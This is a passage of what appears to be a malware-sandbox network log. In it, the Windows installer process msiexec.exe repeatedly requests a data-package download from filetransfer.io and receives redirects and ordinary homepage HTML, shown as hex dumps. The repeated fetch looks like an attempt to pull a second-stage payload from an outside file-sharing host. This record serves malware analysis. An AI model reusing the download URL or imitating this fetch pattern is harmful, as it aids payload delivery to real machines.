74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 74 72 6f 22 20 64 61 74 61 2d 6d 61 78 2d 75 70 6c 6f 61 64 2d 62 79 74 65 73 3d 22 36 34 34 32 34 35 30 39 34 34 22 3e 0a 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 2d 77 72 61 70 70 65 72 2d 6c 61 72 67 65 20 68 69 64 64 65 6e 22 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 21 2d 2d 20 2e 73 70 69 6e 6e 65 72 20 2d 2d 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 09 09 3c 68 31 3e 0a 09 09 09 09 09 09 53 69 6d 70 6c 65 20 61 6e 64 20 72 65 6c 69 61 62 6c 65 20 66 69 6c 65 26 6e 62 73 70 3b 74 72 61 6e 73 66 65 72 73 0a 09 09 09 09 09 09 3c 2f 68 31 3e 0a 0a 0a 09 09 09 09 09 3c 70 3e 0a 09 Data Ascii: div class="intro" data-max-upload-bytes="6442450944"><div class="spinner-wrapper-large hidden"><div class="spinner"></div>... .spinner --></div><h1>Simple and reliable file transfers</h1><p>
2025-01-10 19:15:04 UTC	493	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 75 6e 73 75 70 70 6f 72 74 65 64 2d 64 72 6f 70 22 3e 0a 09 09 09 09 09 54 68 69 73 20 66 69 6c 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 72 61 67 67 65 64 2e 20 50 6c 65 61 73 65 20 73 65 6c 65 63 74 20 69 74 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 22 3c 73 74 72 6f 6e 67 3e 63 68 6f 6f 73 65 20 66 72 6f Data Ascii: n class="icon-times"></span></a></div>... .alert --><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="unsupported-drop">This file cannot be dragged. Please select it by clicking the "<strong>choose fro
2025-01-10 19:15:04 UTC	1369	IN	Data Raw: 62 35 33 0d 0a 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 20 74 68 65 20 73 70 65 63 69 66 69 63 20 66 69 6c 65 73 20 69 74 20 63 6f 6e 74 61 69 6e 73 2e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 75 6c 74 69 70 6c 65 20 68 69 64 64 65 6e 22 3e Data Ascii: b53<span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add the specific files it contains.</span><span class="multiple hidden">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	57990	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:05 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:15:05 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:15:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:15:05 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YfWFuYK19IRHv2%2BZSh7XC3q8tckOlxV1tXODmeJna5noMFm7MLvpMqIUxNsbh6SPoZmUMRxqn8aEFvagaflRRPSbBQ6%2BdXFPCQ6ejl2%2FQjaF3BvbPKrrweuptdGaGekzwjQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe683bcc42f7-EWR
2025-01-10 19:15:05 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	57991	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:06 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:15:06 UTC	942	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: RO03nCpj2cHhQzeX+09Yr6RMRwk9YKvsEVntGyzzANsm/Ncm32ZE5aMAc6GQgmVfSyyAJVgUrws= x-amz-request-id: XEZP6FKHYKCRK96X Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FZzalG5vZwFFmxh8Hq4CEoDLxCBXU%2BSZ1bzCeMp4EaPd2cQQhdrQ8k3c6oMrTTjSfqswXyZ1AdUtLT1CSyLrN71cppC9ZWhrSN8ykDETc6AH2mu2P0TKE8HIU7eXrCz2IDY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe6c4df2c40c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1696&rtt_var=668&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1598248&cwnd=221&unsent_bytes=0&cid=903a03557691df91&ts=220&x=0"
2025-01-10 19:15:06 UTC	427	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f Data Ascii: charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descriptio
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 Data Ascii: -icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><li
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 Data Ascii: <meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="website
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 20 3d Data Ascii: g of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave =
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e 74 72 Data Ascii: time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sentr
2025-01-10 19:15:06 UTC	1352	IN	Data Raw: 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 Data Ascii: h to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:15:06 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:15:06 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	57992	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:07 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:15:07 UTC	611	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:15:07 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:15:07 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=92texu46ukr1lQBanW4qXWzpGU%2Bo77d2jOV5bs9s92H88YICjReQunZCUv7sU0doldPa6EblZAzoVMwzL02wy0xA0I0YA3YCLuV9TVGLHKeuVUgDKzVmSmxBxk4de8LYTDM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe71bc6142d1-EWR
2025-01-10 19:15:07 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	57993	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:07 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
